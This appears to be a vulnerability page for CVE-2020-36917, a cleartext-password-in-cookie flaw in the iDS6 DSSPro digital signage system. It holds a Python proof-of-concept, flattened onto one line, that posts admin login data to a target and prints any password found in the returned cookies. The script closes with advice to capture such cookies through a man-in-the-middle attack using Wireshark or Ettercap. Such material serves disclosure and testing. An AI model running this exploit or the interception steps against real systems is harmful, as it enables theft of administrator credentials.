CVE-2020-36917 | iDS6 DSSPro数字标牌系统明文Cookie密码泄露漏洞

import requests import re # CVE-2020-36917 PoC - iDS6 DSSPro Cleartext Cookie Password Disclosure # Target: iDS6 DSSPro Digital Signage System # This PoC demonstrates credential interception via HTTP traffic sniffing def exploit_cve_2020_36917(target_url): """ Exploit function to demonstrate the vulnerability In real attack scenario, credentials would be captured via MITM """ print(f"[*] Target: {target_url}") print(f"[*] Vulnerability: Cleartext Cookie Password Disclosure (CVE-2020-36917)") # Step 1: Attempt to access the login page login_page = f"{target_url}/login" response = requests.get(login_page, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Login page accessible: {login_page}") # Step 2: Check for autoSave feature presence if 'autoSave' in response.text or 'autosave' in response.text: print("[+] AutoSave feature detected in login form") # Step 3: Simulate login request to observe Cookie behavior login_data = { 'username': 'admin', 'password': 'test_password', 'autoSave': 'on' } login_response = requests.post( f"{target_url}/api/login", data=login_data, allow_redirects=False ) # Step 4: Check for cleartext credentials in cookies cookies = login_response.cookies for cookie_name, cookie_value in cookies.items(): if 'password' in cookie_name.lower() or 'pwd' in cookie_name.lower(): print(f"[!] VULNERABLE: Cleartext password found in cookie '{cookie_name}'") print(f"[!] Value: {cookie_value}") return True print("[-] No cleartext password found in cookies") return False else: print(f"[-] Failed to access login page") return False if __name__ == "__main__": target = "http://target-ids6-dsspro.local" exploit_cve_2020_36917(target) print("\n[*] Note: For actual exploitation, perform MITM attack on HTTP traffic") print("[*] Use tools like Wireshark or Ettercap to capture cookies with passwords")